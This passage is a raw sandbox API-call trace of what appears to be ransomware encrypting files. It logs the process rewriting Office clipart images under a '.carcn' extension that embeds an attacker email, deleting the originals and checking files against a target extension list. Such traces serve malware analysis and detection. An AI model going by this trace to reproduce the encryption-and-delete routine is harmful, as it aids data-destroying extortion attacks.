dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0294.049] GetLastError () returned 0x0 [0294.049] ReadFile (in: hFile=0x568, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x5f39, lpOverlapped=0x0) returned 1 [0294.178] WriteFile (in: hFile=0x318, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x5f40, lpOverlapped=0x0) returned 1 [0294.180] ReadFile (in: hFile=0x568, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.180] WriteFile (in: hFile=0x318, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.180] SetEndOfFile (hFile=0x318) returned 1 [0294.180] CloseHandle (hObject=0x318) returned 1 [0294.180] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.180] SetEndOfFile (hFile=0x568) returned 1 [0294.184] CloseHandle (hObject=0x568) returned 1 [0294.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0294.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0294.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0294.185] lstrlenW (lpString=".doc") returned 4 [0294.185] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0294.185] lstrlenW (lpString=".docx") returned 5 [0294.185] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0294.185] lstrlenW (lpString=".pdf") returned 4 [0294.185] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0294.185] lstrlenW (lpString=".xls") returned 4 [0294.185] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0294.185] lstrlenW (lpString=".xlsx") returned 5 [0294.186] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0294.186] lstrlenW (lpString=".ppt") returned 4 [0294.186] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0294.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0294.186] lstrlenW (lpString=".zip") returned 4 [0294.186] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0294.186] lstrlenW (lpString=".rar") returned 4 [0294.186] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0294.186] lstrlenW (lpString=".bz2") returned 4 [0294.186] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0294.186] lstrlenW (lpString=".7z") returned 3 [0294.186] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0294.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0294.186] lstrlenW (lpString=".dbf") returned 4 [0294.186] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0294.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0294.186] lstrlenW (lpString=".1cd") returned 4 [0294.186] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0294.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0294.186] lstrlenW (lpString=".jpg") returned 4 [0294.186] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0294.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0830 | out: hHeap=0x640000) returned 1 [0294.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce120 | out: hHeap=0x640000) returned 1 [0294.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ef9d8 | out: hHeap=0x640000) returned 1 [0294.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ff9e0 | out: hHeap=0x640000) returned 1 [0294.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x350a020 | out: hHeap=0x640000) returned 1 [0294.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a08f0 | out: hHeap=0x640000) returned 1 [0294.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e95e8 [0294.192] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e95e8, Size=0x20) returned 0x699de8 [0294.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e95e8 [0294.192] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e95e8, Size=0x20) returned 0x699d20 [0294.192] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.192] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.192] Wow64DisableWow64FsRedirection (in: OldValue=0x295ff50 | out: OldValue=0x295ff50*=0x1) returned 1 [0294.192] lstrlenW (lpString="kernel32.dll") returned 12 [0294.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699d20 | out: hHeap=0x640000) returned 1 [0294.192] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699de8 | out: hHeap=0x640000) returned 1 Thread: id = 44 os_tid = 0xd58 [0251.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x3762070 [0251.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x3772078 [0251.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0bf0 [0251.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6cdf00 [0251.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0ad0 [0251.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x3f80020 [0251.410] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0b78 [0251.410] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0b78, Size=0x20) returned 0x680bf0 [0251.410] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0b30 [0251.410] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0b30, Size=0x20) returned 0x680ad8 [0251.411] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0251.411] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0251.411] Wow64DisableWow64FsRedirection (in: OldValue=0x2a9ff50 | out: OldValue=0x2a9ff50*=0x0) returned 1 [0251.411] lstrlenW (lpString="kernel32.dll") returned 12 [0251.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680bf0 | out: hHeap=0x640000) returned 1 [0251.411] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0251.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680ad8 | out: hHeap=0x640000) returned 1 [0251.411] Sleep (dwMilliseconds=0x64) [0251.750] Sleep (dwMilliseconds=0x64) [0252.116] Sleep (dwMilliseconds=0x64) [0252.460] Sleep (dwMilliseconds=0x64) [0252.901] lstrcmpiW (lpString1=".LOG", lpString2=".carcn") returned 1 [0252.902] lstrlenW (lpString="BCD.LOG") returned 7 [0252.902] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.805] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.805] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.805] lstrlenW (lpString=".doc") returned 4 [0253.805] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0253.805] lstrlenW (lpString=".docx") returned 5 [0253.805] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0253.805] lstrlenW (lpString=".pdf") returned 4 [0253.805] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0253.805] lstrlenW (lpString=".xls") returned 4 [0253.805] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0253.805] lstrlenW (lpString=".xlsx") returned 5 [0253.805] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0253.805] lstrlenW (lpString=".ppt") returned 4 [0253.805] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0253.805] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.805] lstrlenW (lpString=".zip") returned 4 [0253.805] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0253.805] lstrlenW (lpString=".rar") returned 4 [0253.805] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0253.806] lstrlenW (lpString=".bz2") returned 4 [0253.806] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0253.806] lstrlenW (lpString=".7z") returned 3 [0253.806] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0253.806] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.806] lstrlenW (lpString=".dbf") returned 4 [0253.806] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0253.806] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.806] lstrlenW (lpString=".1cd") returned 4 [0253.806] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0253.806] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.806] lstrlenW (lpString=".jpg") returned 4 [0253.806] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0253.806] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.806] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.806] lstrlenW (lpString=".doc") returned 4 [0253.806] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0253.806] lstrlenW (lpString=".docx") returned 5 [0253.806] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0253.806] lstrlenW (lpString=".pdf") returned 4 [0253.806] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0253.806] lstrlenW (lpString=".xls") returned 4 [0253.806] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0253.806] lstrlenW (lpString=".xlsx") returned 5 [0253.806] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0253.806] lstrlenW (lpString=".ppt") returned 4 [0253.806] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0253.806] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.806] lstrlenW (lpString=".zip") returned 4 [0253.806] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0253.807] lstrlenW (lpString=".rar") returned 4 [0253.807] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0253.807] lstrlenW (lpString=".bz2") returned 4 [0253.807] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0253.807] lstrlenW (lpString=".7z") returned 3 [0253.807] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0253.807] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.807] lstrlenW (lpString=".dbf") returned 4 [0253.807] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0253.807] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.807] lstrlenW (lpString=".1cd") returned 4 [0253.807] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0253.807] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0253.807] lstrlenW (lpString=".jpg") returned 4 [0253.807] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0253.807] Sleep (dwMilliseconds=0x64) [0254.427] Sleep (dwMilliseconds=0x64) [0254.884] Sleep (dwMilliseconds=0x64) [0255.438] Sleep (dwMilliseconds=0x64) [0255.717] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0255.717] lstrlenW (lpString="AG00135_.GIF") returned 12 [0255.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0255.892] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2596) returned 1 [0255.892] CloseHandle (hObject=0x440) returned 1 [0255.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0255.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x20 [0255.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.893] lstrlenW (lpString=".doc") returned 4 [0255.893] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.893] lstrlenW (lpString=".docx") returned 5 [0255.893] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0255.893] lstrlenW (lpString=".pdf") returned 4 [0255.893] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.893] lstrlenW (lpString=".xls") returned 4 [0255.893] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.893] lstrlenW (lpString=".xlsx") returned 5 [0255.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0255.893] lstrlenW (lpString=".ppt") returned 4 [0255.893] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.893] lstrlenW (lpString=".zip") returned 4 [0255.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.893] lstrlenW (lpString=".rar") returned 4 [0255.893] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.893] lstrlenW (lpString=".bz2") returned 4 [0255.893] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.893] lstrlenW (lpString=".7z") returned 3 [0255.893] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.893] lstrlenW (lpString=".dbf") returned 4 [0255.893] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.894] lstrlenW (lpString=".1cd") returned 4 [0255.894] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.894] lstrlenW (lpString=".jpg") returned 4 [0255.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.894] lstrlenW (lpString=".doc") returned 4 [0255.894] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.894] lstrlenW (lpString=".docx") returned 5 [0255.894] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0255.894] lstrlenW (lpString=".pdf") returned 4 [0255.894] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.894] lstrlenW (lpString=".xls") returned 4 [0255.894] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.894] lstrlenW (lpString=".xlsx") returned 5 [0255.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0255.894] lstrlenW (lpString=".ppt") returned 4 [0255.894] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.894] lstrlenW (lpString=".zip") returned 4 [0255.894] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.894] lstrlenW (lpString=".rar") returned 4 [0255.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.894] lstrlenW (lpString=".bz2") returned 4 [0255.894] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.894] lstrlenW (lpString=".7z") returned 3 [0255.894] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.894] lstrlenW (lpString=".dbf") returned 4 [0255.894] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.894] lstrlenW (lpString=".1cd") returned 4 [0255.895] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0255.895] lstrlenW (lpString=".jpg") returned 4 [0255.895] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.895] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0255.895] lstrlenW (lpString="AG00161_.GIF") returned 12 [0255.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0255.896] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=7583) returned 1 [0255.896] CloseHandle (hObject=0x440) returned 1 [0255.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0255.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0255.896] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.896] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0256.782] GetLastError () returned 0x0 [0256.782] ReadFile (in: hFile=0x440, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0256.818] WriteFile (in: hFile=0x494, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0256.819] ReadFile (in: hFile=0x440, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.819] WriteFile (in: hFile=0x494, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.819] SetEndOfFile (hFile=0x494) returned 1 [0256.819] CloseHandle (hObject=0x494) returned 1 [0256.820] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.820] SetEndOfFile (hFile=0x440) returned 1 [0256.823] CloseHandle (hObject=0x440) returned 1 [0256.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0256.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0256.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.824] lstrlenW (lpString=".doc") returned 4 [0256.824] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0256.824] lstrlenW (lpString=".docx") returned 5 [0256.824] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0256.824] lstrlenW (lpString=".pdf") returned 4 [0256.824] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0256.824] lstrlenW (lpString=".xls") returned 4 [0256.824] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0256.824] lstrlenW (lpString=".xlsx") returned 5 [0256.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0256.825] lstrlenW (lpString=".ppt") returned 4 [0256.825] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0256.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.825] lstrlenW (lpString=".zip") returned 4 [0256.825] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0256.825] lstrlenW (lpString=".rar") returned 4 [0256.825] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0256.825] lstrlenW (lpString=".bz2") returned 4 [0256.825] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0256.825] lstrlenW (lpString=".7z") returned 3 [0256.825] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0256.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.825] lstrlenW (lpString=".dbf") returned 4 [0256.825] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0256.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.825] lstrlenW (lpString=".1cd") returned 4 [0256.825] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0256.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.825] lstrlenW (lpString=".jpg") returned 4 [0256.825] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0256.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.825] lstrlenW (lpString=".doc") returned 4 [0256.825] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0256.825] lstrlenW (lpString=".docx") returned 5 [0256.825] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0256.826] lstrlenW (lpString=".pdf") returned 4 [0256.826] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0256.826] lstrlenW (lpString=".xls") returned 4 [0256.826] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0256.826] lstrlenW (lpString=".xlsx") returned 5 [0256.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0256.826] lstrlenW (lpString=".ppt") returned 4 [0256.826] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0256.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.826] lstrlenW (lpString=".zip") returned 4 [0256.826] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0256.826] lstrlenW (lpString=".rar") returned 4 [0256.826] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0256.826] lstrlenW (lpString=".bz2") returned 4 [0256.826] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0256.826] lstrlenW (lpString=".7z") returned 3 [0256.826] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0256.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.826] lstrlenW (lpString=".dbf") returned 4 [0256.826] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0256.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.826] lstrlenW (lpString=".1cd") returned 4 [0256.826] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0256.826] lstrlenW (lpString="C:\\Program Files\\Microsoft 